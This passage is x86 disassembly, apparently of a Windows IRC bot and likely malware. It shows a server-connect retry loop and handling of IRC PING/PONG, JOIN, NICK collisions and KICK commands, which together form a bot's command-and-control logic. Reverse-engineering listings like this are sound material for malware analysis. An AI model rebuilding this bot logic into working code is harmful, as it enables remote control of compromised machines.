loc_4025E9:				; CODE XREF: sub_402472+A3j
		pop	esi
		add	ebp, 58h
		leave
		retn
sub_402472	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_4025EF	proc near		; CODE XREF: WinMain(x,x,x,x)+4D0p
					; DATA XREF: sub_40274D+6340o

var_190		= dword	ptr -190h
Args		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
Dst		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 190h
		mov	eax, [ebp+74h+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+74h+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1
		jmp	loc_4026FB
; ---------------------------------------------------------------------------


loc_40261B:				; CODE XREF: sub_4025EF+141j
		push	1Ch		; Size
		lea	eax, [ebp+74h+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		push	0		; Str1
		push	dword_43C098	; int
		lea	eax, [ebp+74h+Dst]
		push	dword_43C094	; int
		push	eax		; Dest
		call	sub_40AB83
		mov	edi, eax
		mov	eax, [ebp+74h+var_34]
		imul	eax, 234h
		push	1Bh		; Count
		add	eax, offset byte_444500
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_444100	; socket
		mov	esi, eax
		mov	eax, [ebp+74h+var_34]
		imul	eax, 234h
		mov	dword_4444F4[eax], esi
		push	10h
		lea	eax, [ebp+74h+var_10]
		push	eax
		push	esi
		call	dword_4440AC	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40269D
		push	esi
		call	dword_444218	; closesocket
		call	sub_4022E6
		push	7D0h
		jmp	short loc_4026EE
; ---------------------------------------------------------------------------


loc_40269D:				; CODE XREF: sub_4025EF+99j
		lea	eax, [ebp+74h+Args]
		push	eax		; Args
		push	offset asc_42C830 ; "-"
		call	sub_417DE4
		push	[ebp+74h+var_38]
		lea	eax, [ebp+74h+Args]
		push	eax
		lea	eax, [ebp+74h+var_8C]
		push	eax
		push	[ebp+74h+var_190]
		lea	eax, [ebp+74h+var_CC]
		push	edi
		push	eax
		lea	eax, [ebp+74h+var_10C]
		push	eax
		push	esi
		call	sub_402472
		add	esp, 28h
		push	esi
		mov	edi, eax
		call	dword_444218	; closesocket
		test	edi, edi
		jz	short loc_4026FB
		cmp	edi, 1
		jnz	short loc_4026F6
		push	0DBBA0h


loc_4026EE:				; CODE XREF: sub_4025EF+ACj
		call	ds:dword_42B014	; Sleep
		jmp	short loc_4026FB
; ---------------------------------------------------------------------------


loc_4026F6:				; CODE XREF: sub_4025EF+F8j
		cmp	edi, 2
		jz	short loc_402738


loc_4026FB:				; CODE XREF: sub_4025EF+27j
					; sub_4025EF+F3j ...
		push	10h		; Size
		lea	eax, [ebp+74h+var_10]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		push	[ebp+74h+var_3C]
		mov	[ebp+74h+var_10], 2
		call	dword_444260	; htons
		mov	[ebp+74h+var_E], ax
		lea	eax, [ebp+74h+Args]
		push	eax
		call	sub_4022BD
		test	eax, eax
		pop	ecx
		mov	[ebp+74h+var_C], eax
		jnz	loc_40261B
		jmp	short loc_402744
; ---------------------------------------------------------------------------


loc_402738:				; CODE XREF: sub_4025EF+10Aj
		push	[ebp+74h+var_34]
		call	sub_40B149
		pop	ecx
		push	2
		pop	eax


loc_402744:				; CODE XREF: sub_4025EF+147j
		pop	edi
		pop	esi
		add	ebp, 74h
		leave
		retn	4
sub_4025EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=4Ch

; int __cdecl sub_40274D(int,int,int,int,char *Source,int,char *Str1,int,int,int,int)

sub_40274D	proc near		; CODE XREF: sub_402472+103p

var_5DEC	= dword	ptr -5DECh
var_5D90	= dword	ptr -5D90h
var_5990	= byte ptr -5990h
var_5590	= byte ptr -5590h
var_5400	= byte ptr -5400h
var_5200	= byte ptr -5200h
var_50FC	= byte ptr -50FCh
FullPath	= byte ptr -4FFCh
var_4EF8	= byte ptr -4EF8h
var_4DF8	= byte ptr -4DF8h
var_4CF8	= byte ptr -4CF8h
var_4BF8	= byte ptr -4BF8h
Str		= byte ptr -4AF8h
var_48F8	= byte ptr -48F8h
var_47F4	= byte ptr -47F4h
var_46F4	= byte ptr -46F4h
var_45F4	= dword	ptr -45F4h
var_4590	= byte ptr -4590h
var_4390	= byte ptr -4390h
var_4290	= byte ptr -4290h
var_4190	= byte ptr -4190h
var_4090	= byte ptr -4090h
var_3F90	= dword	ptr -3F90h
var_3F8C	= dword	ptr -3F8Ch
var_3F88	= byte ptr -3F88h
var_3F08	= byte ptr -3F08h
var_3E88	= byte ptr -3E88h
var_3E08	= byte ptr -3E08h
var_3D88	= byte ptr -3D88h
var_3D08	= dword	ptr -3D08h
var_3D04	= dword	ptr -3D04h
var_3D00	= dword	ptr -3D00h
var_3CFC	= dword	ptr -3CFCh
var_3CF8	= byte ptr -3CF8h
var_3C78	= byte ptr -3C78h
var_3B74	= byte ptr -3B74h
var_3A70	= dword	ptr -3A70h
var_3A6C	= dword	ptr -3A6Ch
var_3A68	= dword	ptr -3A68h
var_3A64	= dword	ptr -3A64h
var_3A60	= dword	ptr -3A60h
var_3A5C	= byte ptr -3A5Ch
var_37D5	= byte ptr -37D5h
var_37D4	= byte ptr -37D4h
var_36D0	= dword	ptr -36D0h
var_36C8	= dword	ptr -36C8h
var_36C4	= dword	ptr -36C4h
var_36C0	= dword	ptr -36C0h
var_36BC	= dword	ptr -36BCh
var_36B4	= dword	ptr -36B4h
var_36B0	= dword	ptr -36B0h
var_36AC	= byte ptr -36ACh
var_362C	= byte ptr -362Ch
var_35AC	= byte ptr -35ACh
var_352C	= byte ptr -352Ch
var_34AC	= dword	ptr -34ACh
var_34A8	= dword	ptr -34A8h
var_34A4	= dword	ptr -34A4h
var_34A0	= dword	ptr -34A0h
var_349C	= dword	ptr -349Ch
var_3498	= byte ptr -3498h
var_3418	= byte ptr -3418h
var_3398	= byte ptr -3398h
var_3318	= byte ptr -3318h
var_3298	= dword	ptr -3298h
var_3294	= dword	ptr -3294h
var_3290	= dword	ptr -3290h
var_328C	= dword	ptr -328Ch
var_3288	= dword	ptr -3288h
var_3284	= byte ptr -3284h
var_3204	= byte ptr -3204h
var_3184	= byte ptr -3184h
var_3104	= byte ptr -3104h
var_3084	= dword	ptr -3084h
var_3080	= dword	ptr -3080h
var_307C	= dword	ptr -307Ch
var_3078	= dword	ptr -3078h
var_3074	= dword	ptr -3074h
var_3070	= byte ptr -3070h
var_2FF0	= byte ptr -2FF0h
var_2F70	= byte ptr -2F70h
var_2EF0	= byte ptr -2EF0h
var_2E70	= dword	ptr -2E70h
var_2E6C	= dword	ptr -2E6Ch
var_2E68	= dword	ptr -2E68h
var_2E64	= dword	ptr -2E64h
var_2E60	= byte ptr -2E60h
var_2D5C	= dword	ptr -2D5Ch
var_2D58	= byte ptr -2D58h
var_2C54	= byte ptr -2C54h
var_2B50	= dword	ptr -2B50h
var_2B4C	= dword	ptr -2B4Ch
var_2B48	= dword	ptr -2B48h
var_2B44	= byte ptr -2B44h
var_2AC4	= dword	ptr -2AC4h
var_2AC0	= dword	ptr -2AC0h
var_2ABC	= dword	ptr -2ABCh
var_2AB8	= dword	ptr -2AB8h
var_2AB0	= byte ptr -2AB0h
var_2998	= byte ptr -2998h
var_2918	= dword	ptr -2918h
var_2914	= dword	ptr -2914h
var_2910	= dword	ptr -2910h
var_290C	= dword	ptr -290Ch
var_2908	= dword	ptr -2908h
var_2904	= dword	ptr -2904h
var_2900	= byte ptr -2900h
var_2880	= byte ptr -2880h
var_2780	= byte ptr -2780h
var_2680	= dword	ptr -2680h
var_267C	= dword	ptr -267Ch
var_2678	= dword	ptr -2678h
var_2674	= dword	ptr -2674h
var_2670	= dword	ptr -2670h
var_266C	= dword	ptr -266Ch
var_2668	= dword	ptr -2668h
var_2664	= dword	ptr -2664h
var_2660	= dword	ptr -2660h
var_265C	= dword	ptr -265Ch
var_2658	= byte ptr -2658h
var_25D8	= byte ptr -25D8h
var_24D8	= byte ptr -24D8h
var_23D8	= dword	ptr -23D8h
var_23D4	= dword	ptr -23D4h
var_23D0	= dword	ptr -23D0h
var_23CC	= dword	ptr -23CCh
var_23C8	= dword	ptr -23C8h
var_23C4	= dword	ptr -23C4h
var_23C0	= dword	ptr -23C0h
var_23BC	= dword	ptr -23BCh
var_23B8	= dword	ptr -23B8h
var_23B4	= dword	ptr -23B4h
var_23B0	= byte ptr -23B0h
var_2330	= byte ptr -2330h
var_22B0	= byte ptr -22B0h
var_2230	= dword	ptr -2230h
var_222C	= dword	ptr -222Ch
var_2228	= dword	ptr -2228h
var_2224	= dword	ptr -2224h
var_2220	= dword	ptr -2220h
var_221C	= byte ptr -221Ch
var_219C	= byte ptr -219Ch
var_211C	= byte ptr -211Ch
var_209C	= dword	ptr -209Ch
var_2098	= dword	ptr -2098h
var_2094	= dword	ptr -2094h
var_2090	= dword	ptr -2090h
var_208C	= dword	ptr -208Ch
var_2088	= byte ptr -2088h
var_2008	= byte ptr -2008h
var_1F88	= byte ptr -1F88h
var_1F08	= dword	ptr -1F08h
var_1F04	= dword	ptr -1F04h
var_1F00	= dword	ptr -1F00h
var_1EFC	= dword	ptr -1EFCh
var_1EF8	= dword	ptr -1EF8h
var_1EF4	= byte ptr -1EF4h
var_1DF4	= byte ptr -1DF4h
var_1D74	= dword	ptr -1D74h
var_1D6C	= dword	ptr -1D6Ch
var_1D68	= dword	ptr -1D68h
var_1D64	= dword	ptr -1D64h
var_1D60	= dword	ptr -1D60h
var_1D5C	= dword	ptr -1D5Ch
var_1D58	= dword	ptr -1D58h
var_1D50	= byte ptr -1D50h
var_1D3C	= byte ptr -1D3Ch
var_1C38	= byte ptr -1C38h
var_1BB4	= dword	ptr -1BB4h
var_1BB0	= dword	ptr -1BB0h
var_1BAC	= dword	ptr -1BACh
var_1BA8	= dword	ptr -1BA8h
var_1BA4	= dword	ptr -1BA4h
var_1B9C	= byte ptr -1B9Ch
var_1B88	= byte ptr -1B88h
var_1A84	= byte ptr -1A84h
var_1A04	= dword	ptr -1A04h
var_1A00	= dword	ptr -1A00h
var_19FC	= dword	ptr -19FCh
var_19F8	= dword	ptr -19F8h
var_19F4	= dword	ptr -19F4h
var_19F0	= dword	ptr -19F0h
var_19EC	= byte ptr -19ECh
var_196C	= byte ptr -196Ch
var_192C	= byte ptr -192Ch
var_182C	= dword	ptr -182Ch
var_1828	= dword	ptr -1828h
var_181C	= dword	ptr -181Ch
var_1818	= dword	ptr -1818h
var_1814	= dword	ptr -1814h
var_1810	= byte ptr -1810h
var_17D8	= byte ptr -17D8h
var_17A0	= byte ptr -17A0h
var_1784	= byte ptr -1784h
var_1780	= byte ptr -1780h
var_1700	= byte ptr -1700h
var_16C0	= byte ptr -16C0h
var_1630	= dword	ptr -1630h
var_162C	= dword	ptr -162Ch
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= dword	ptr -1620h
var_161C	= byte ptr -161Ch
var_159C	= byte ptr -159Ch
var_151C	= dword	ptr -151Ch
var_1518	= dword	ptr -1518h
var_1514	= dword	ptr -1514h
var_1510	= dword	ptr -1510h
var_150C	= byte ptr -150Ch
var_14FC	= byte ptr -14FCh
var_147C	= byte ptr -147Ch
var_13FC	= dword	ptr -13FCh
var_13F4	= dword	ptr -13F4h
var_13F0	= dword	ptr -13F0h
var_13EC	= dword	ptr -13ECh
var_13E8	= dword	ptr -13E8h
var_13E4	= dword	ptr -13E4h
var_13E0	= dword	ptr -13E0h
var_13DC	= byte ptr -13DCh
var_135C	= byte ptr -135Ch
var_12DC	= byte ptr -12DCh
var_125C	= dword	ptr -125Ch
var_1258	= dword	ptr -1258h
var_1254	= dword	ptr -1254h
var_1250	= dword	ptr -1250h
var_124C	= dword	ptr -124Ch
var_1248	= dword	ptr -1248h
var_1244	= dword	ptr -1244h
var_1240	= dword	ptr -1240h
var_1238	= byte ptr -1238h
var_11B8	= byte ptr -11B8h
var_1138	= dword	ptr -1138h
var_1134	= dword	ptr -1134h
var_1130	= dword	ptr -1130h
var_1128	= dword	ptr -1128h
var_1124	= dword	ptr -1124h
var_1120	= dword	ptr -1120h
var_1118	= dword	ptr -1118h
var_1114	= byte ptr -1114h
var_1094	= byte ptr -1094h
var_1014	= dword	ptr -1014h
var_1010	= dword	ptr -1010h
var_100C	= dword	ptr -100Ch
var_1004	= dword	ptr -1004h
var_1000	= dword	ptr -1000h
var_FFC		= dword	ptr -0FFCh
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= byte ptr -0FF0h
var_F70		= dword	ptr -0F70h
var_F6C		= dword	ptr -0F6Ch
var_F68		= dword	ptr -0F68h
var_F64		= dword	ptr -0F64h
var_F60		= dword	ptr -0F60h
var_F5C		= byte ptr -0F5Ch
var_EDC		= dword	ptr -0EDCh
var_ED8		= dword	ptr -0ED8h
var_ED4		= dword	ptr -0ED4h
var_ED0		= dword	ptr -0ED0h
var_ECC		= dword	ptr -0ECCh
var_EC8		= byte ptr -0EC8h
var_E48		= dword	ptr -0E48h
var_E44		= dword	ptr -0E44h
var_E40		= dword	ptr -0E40h
var_E3C		= dword	ptr -0E3Ch
var_E38		= byte ptr -0E38h
var_DB8		= byte ptr -0DB8h
var_D98		= byte ptr -0D98h
var_D88		= dword	ptr -0D88h
var_D84		= byte ptr -0D84h
var_D04		= byte ptr -0D04h
var_C84		= dword	ptr -0C84h
var_C80		= dword	ptr -0C80h
var_C7C		= dword	ptr -0C7Ch
var_C78		= dword	ptr -0C78h
var_C74		= dword	ptr -0C74h
var_C70		= dword	ptr -0C70h
var_C6C		= dword	ptr -0C6Ch
var_C68		= dword	ptr -0C68h
var_C64		= dword	ptr -0C64h
var_C60		= dword	ptr -0C60h
var_C5C		= byte ptr -0C5Ch
var_BDC		= dword	ptr -0BDCh
var_BD8		= dword	ptr -0BD8h
var_BD4		= dword	ptr -0BD4h
var_BD0		= dword	ptr -0BD0h
var_BCC		= byte ptr -0BCCh
var_B4C		= dword	ptr -0B4Ch
var_B48		= dword	ptr -0B48h
var_B44		= dword	ptr -0B44h
var_B40		= dword	ptr -0B40h
var_B3C		= dword	ptr -0B3Ch
var_B38		= dword	ptr -0B38h
var_B34		= byte ptr -0B34h
var_AB4		= dword	ptr -0AB4h
var_AB0		= dword	ptr -0AB0h
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= byte ptr -0A9Ch
var_A1C		= dword	ptr -0A1Ch
var_A18		= dword	ptr -0A18h
var_A14		= dword	ptr -0A14h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= byte ptr -0A04h
var_984		= word ptr -984h
var_980		= dword	ptr -980h
var_978		= dword	ptr -978h
var_974		= dword	ptr -974h
var_970		= dword	ptr -970h
var_968		= byte ptr -968h
var_907		= byte ptr -907h
var_906		= byte ptr -906h
var_904		= byte ptr -904h
var_903		= byte ptr -903h
var_8FA		= byte ptr -8FAh
var_8F8		= byte ptr -8F8h
var_8F6		= byte ptr -8F6h
var_8F5		= byte ptr -8F5h
var_868		= byte ptr -868h
var_858		= byte ptr -858h
var_7D8		= byte ptr -7D8h
var_758		= dword	ptr -758h
var_754		= dword	ptr -754h
var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_73C		= dword	ptr -73Ch
var_738		= dword	ptr -738h
var_730		= dword	ptr -730h
var_72C		= dword	ptr -72Ch
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_71C		= dword	ptr -71Ch
var_718		= byte ptr -718h
var_698		= dword	ptr -698h
var_690		= dword	ptr -690h
var_68C		= dword	ptr -68Ch
var_688		= dword	ptr -688h
var_680		= dword	ptr -680h
var_67C		= dword	ptr -67Ch
var_678		= dword	ptr -678h
var_670		= dword	ptr -670h
var_644		= dword	ptr -644h
var_640		= word ptr -640h
var_62C		= dword	ptr -62Ch
var_628		= byte ptr -628h
var_5A8		= byte ptr -5A8h
var_598		= dword	ptr -598h
var_594		= dword	ptr -594h
var_58C		= dword	ptr -58Ch
var_588		= dword	ptr -588h
var_584		= dword	ptr -584h
var_57C		= dword	ptr -57Ch
var_578		= byte ptr -578h
var_4F8		= dword	ptr -4F8h
var_4F4		= dword	ptr -4F4h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4E0		= dword	ptr -4E0h
var_4DC		= dword	ptr -4DCh
var_4D8		= dword	ptr -4D8h
Drive		= byte ptr -4D0h
var_4C4		= byte ptr -4C4h
var_48C		= byte ptr -48Ch
var_47C		= byte ptr -47Ch
var_3FC		= byte ptr -3FCh
var_37C		= dword	ptr -37Ch
var_378		= dword	ptr -378h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_360		= dword	ptr -360h
var_35C		= dword	ptr -35Ch
var_354		= dword	ptr -354h
var_350		= dword	ptr -350h
var_34C		= dword	ptr -34Ch
var_348		= dword	ptr -348h
Dest		= byte ptr -340h
var_324		= word ptr -324h
var_322		= word ptr -322h
var_320		= dword	ptr -320h
var_314		= byte ptr -314h
Count		= dword	ptr -310h
var_304		= byte ptr -304h
var_300		= byte ptr -300h
var_2FC		= dword	ptr -2FCh
var_2F0		= byte ptr -2F0h
var_2EC		= byte ptr -2ECh
var_2EB		= byte ptr -2EBh
var_2EA		= byte ptr -2EAh
var_2E0		= dword	ptr -2E0h
var_2DC		= dword	ptr -2DCh
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
Dst		= byte ptr -2D0h
var_D0		= byte ptr -0D0h
File		= dword	ptr -0B8h
SubStr		= byte ptr -0B4h
var_A8		= byte ptr -0A8h
var_A7		= byte ptr -0A7h
var_A6		= byte ptr -0A6h
Str2		= dword	ptr -0A4h
Args		= byte ptr -0A0h
Format		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_64		= byte ptr -64h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
Source		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
Str1		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	eax, 5D90h
		lea	ebp, [esp-4Ch]
		call	__alloca_probe
		push	ebx
		push	esi
		xor	ebx, ebx
		mov	esi, 200h
		push	esi		; Size
		lea	eax, [ebp+4Ch+Dst]
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+4Ch+var_20], 3
		mov	[ebp+4Ch+var_1C], ebx
		mov	[ebp+4Ch+var_14], ebx
		mov	[ebp+4Ch+var_C], ebx
		mov	[ebp+4Ch+var_4], ebx
		mov	[ebp+4Ch+var_8], ebx
		call	_memset
		push	1Bh		; Count
		push	[ebp+4Ch+Source] ; Source
		lea	eax, [ebp+4Ch+Dest]
		push	eax		; Dest
		call	_strncpy
		add	esp, 18h
		cmp	[ebp+4Ch+arg_0], ebx
		jnz	short loc_4027AA
		xor	eax, eax
		inc	eax
		jmp	loc_402B96
; ---------------------------------------------------------------------------


loc_4027AA:				; CODE XREF: sub_40274D+53j
		push	edi
		push	esi		; Size
		lea	eax, [ebp+4Ch+var_4590]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		mov	esi, 1FFh
		push	esi		; Count
		push	[ebp+4Ch+arg_0]	; Source
		lea	eax, [ebp+4Ch+var_4590]
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+4Ch+var_4590]
		push	offset SubStr	; " :"
		push	eax		; Str
		call	_strstr
		mov	[ebp+4Ch+var_18], eax
		push	esi		; Count
		lea	eax, [ebp+4Ch+var_4590]
		push	eax		; Source
		lea	eax, [ebp+4Ch+Str]
		push	eax		; Dest
		call	_strncpy
		mov	esi, offset asc_42FE58 ; " "
		lea	eax, [ebp+4Ch+Str]
		push	esi		; Delim
		push	eax		; Str
		call	_strtok
		xor	edi, edi
		add	esp, 34h
		mov	[ebp+4Ch+Str2],	eax
		inc	edi


loc_402811:				; CODE XREF: sub_40274D+D5j
		push	esi		; Delim
		push	ebx		; Str
		call	_strtok
		mov	[ebp+edi*4+4Ch+Str2], eax
		inc	edi
		cmp	edi, 20h
		pop	ecx
		pop	ecx
		jl	short loc_402811
		mov	esi, [ebp+4Ch+Str2]
		cmp	esi, ebx
		jz	loc_402B92
		cmp	dword ptr [ebp+4Ch+Args], ebx
		jz	loc_402B92
		push	100h		; Size
		lea	eax, [ebp+4Ch+var_968]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		push	1Fh
		pop	edx


loc_402850:				; CODE XREF: sub_40274D+131j
		lea	ecx, [ebp+edx*4+4Ch+Str2]
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_40287D
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_402880
		cmp	[eax+2], bl
		jnz	short loc_402880
		movsx	esi, byte ptr [eax+1]
		mov	[ebp+esi+4Ch+var_968], 1
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[ecx], ebx
		mov	esi, [ebp+4Ch+Str2]
		mov	[eax+2], bl


loc_40287D:				; CODE XREF: sub_40274D+10Bj
		dec	edx
		jns	short loc_402850


loc_402880:				; CODE XREF: sub_40274D+110j
					; sub_40274D+115j
		xor	edi, edi
		inc	edi
		cmp	[ebp+4Ch+var_8F5], bl
		jz	short loc_40288E
		mov	[ebp+4Ch+var_C], edi


loc_40288E:				; CODE XREF: sub_40274D+13Cj
		cmp	[ebp+4Ch+var_8FA], bl
		jz	short loc_40289C
		mov	[ebp+4Ch+var_C], ebx
		mov	[ebp+4Ch+var_4], edi


loc_40289C:				; CODE XREF: sub_40274D+147j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_4028D6
		push	7Fh		; Count
		lea	eax, [ebp+4Ch+var_E38]
		push	esi		; Source
		push	eax		; Dest
		call	_strncpy
		push	17h		; Count
		lea	eax, [esi+1]
		push	eax		; Source
		lea	eax, [ebp+4Ch+var_D0]
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+4Ch+var_D0]
		push	offset Delim	; "!"
		push	eax		; Str
		call	_strtok
		add	esp, 20h


loc_4028D6:				; CODE XREF: sub_40274D+152j
		push	esi		; Str2
		push	offset Str1	; "PING"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_402922
		push	dword ptr [ebp+4Ch+Args] ; Args
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+4Ch+arg_4]	; int
		call	sub_4011F5
		mov	eax, [ebp+4Ch+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	short loc_40291B
		push	[ebp+4Ch+arg_C]
		push	[ebp+4Ch+arg_8]	; Args
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+4Ch+arg_4]	; int
		call	sub_4011F5
		add	esp, 10h


loc_40291B:				; CODE XREF: sub_40274D+1B6j
					; sub_40274D+224j ...
		mov	eax, edi
		jmp	loc_402B95
; ---------------------------------------------------------------------------


loc_402922:				; CODE XREF: sub_40274D+198j
		mov	esi, dword ptr [ebp+4Ch+Args]
		push	esi		; Str2
		push	offset a001	; "001"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_40A21D
		push	esi		; Str2
		push	offset a005	; "005"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_40A21D
		push	esi		; Str2
		push	offset a302_0	; "302"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_402987
		push	offset a@	; "@"
		push	[ebp+4Ch+var_98] ; Str
		call	_strstr
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		jz	short loc_40291B
		push	9Fh		; Count
		inc	eax
		push	eax		; Source
		push	[ebp+4Ch+arg_1C] ; Dest
		call	_strncpy
		add	esp, 0Ch
		jmp	short loc_40291B
; ---------------------------------------------------------------------------


loc_402987:				; CODE XREF: sub_40274D+211j
		push	esi		; Str2
		push	offset a433	; "433"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4029C5
		push	ebx		; Str1
		push	dword_43C098	; int
		push	dword_43C094	; int
		push	[ebp+4Ch+Source] ; Dest
		call	sub_40AB83
		push	[ebp+4Ch+Source] ; Args
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+4Ch+arg_4]	; int
		call	sub_4011F5
		add	esp, 1Ch
		jmp	loc_40291B
; ---------------------------------------------------------------------------


loc_4029C5:				; CODE XREF: sub_40274D+249j
		mov	esi, [ebp+4Ch+Str1]
		mov	[ebp+4Ch+var_24], 3
		mov	edi, 80h


loc_4029D4:				; CODE XREF: sub_40274D+2A6j
		lea	eax, [ebp+4Ch+var_E38]
		push	eax		; Str2
		push	esi		; Str1
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4029EE
		mov	[ebp+4Ch+var_14], 1


loc_4029EE:				; CODE XREF: sub_40274D+298j
		add	esi, edi
		dec	[ebp+4Ch+var_24]
		jnz	short loc_4029D4
		mov	esi, dword ptr [ebp+4Ch+Args]
		push	esi		; Str2
		push	offset aKick	; "KICK"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_402AC4
		mov	esi, [ebp+4Ch+Str1]
		mov	[ebp+4Ch+arg_0], 3


loc_402A17:				; CODE XREF: sub_40274D+343j
		cmp	[esi], bl
		jz	short loc_402A8B
		push	7Fh		; Count
		lea	eax, [ebp+4Ch+var_E38]
		push	esi		; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 0Ch
		cmp	[ebp+4Ch+var_98], ebx
		jz	short loc_402A8B
		push	[ebp+4Ch+var_98] ; Str2
		lea	eax, [ebp+4Ch+var_D0]
		push	eax		; Str1
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_402A8B
		lea	eax, [ebp+4Ch+var_D0]
		push	eax
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42FDE8 ; "-"
		push	eax		; Dest
		mov	[esi], bl
		call	_sprintf
		lea	eax, [ebp+4Ch+Dst]
		push	eax
		lea	eax, [ebp+4Ch+var_D0]
		push	eax		; Args
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+4Ch+arg_4]	; int
		call	sub_4011F5
		lea	eax, [ebp+4Ch+Dst]
		push	eax
		call	sub_417D70
		add	esp, 20h


loc_402A8B:				; CODE XREF: sub_40274D+2CCj
					; sub_40274D+2E3j ...
		add	esi, edi
		dec	[ebp+4Ch+arg_0]
		jnz	short loc_402A17
		push	[ebp+4Ch+var_98] ; Str2
		push	[ebp+4Ch+Source] ; Str1
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_402B92
		push	[ebp+4Ch+arg_C]
		mov	eax, [ebp+4Ch+arg_20]
		push	[ebp+4Ch+arg_8]	; Args
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_402AB7:				; CODE XREF: sub_40274D+58Aj
					; sub_40274D+7FCj ...
		push	[ebp+4Ch+arg_4]	; int
		call	sub_4011F5
		jmp	loc_404D0F
; ---------------------------------------------------------------------------


loc_402AC4:				; CODE XREF: sub_40274D+2BAj
		push	esi		; Str2
		push	offset aNick	; "NICK"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_402BFD
		mov	eax, [ebp+4Ch+Format]
		mov	esi, [ebp+4Ch+Str1]
		inc	eax
		mov	[ebp+4Ch+arg_0], eax
		mov	[ebp+4Ch+var_20], 3


loc_402AEA:				; CODE XREF: sub_40274D+3EFj
		lea	eax, [ebp+4Ch+var_E38]
		push	eax		; Str2
		push	esi		; Str1
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_402B37
		lea	eax, [ebp+4Ch+var_E38]
		push	21h		; Val
		push	eax		; Str
		call	_strchr
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		mov	[ebp+4Ch+var_14], eax
		jz	short loc_402B37
		push	[ebp+4Ch+arg_0]	; Source
		lea	edi, [esi+2]
		lea	eax, [edi-1]
		push	eax		; Dest
		mov	byte ptr [esi],	3Ah
		call	_strcpy
		push	[ebp+4Ch+var_14] ; Source
		push	edi		; Dest
		call	_strcat
		add	esp, 10h
		mov	edi, 80h


loc_402B37:				; CODE XREF: sub_40274D+3AEj
					; sub_40274D+3C5j
		add	esi, edi
		dec	[ebp+4Ch+var_20]
		jnz	short loc_402AEA
		cmp	[ebp+4Ch+arg_0], ebx
		jz	short loc_402B92
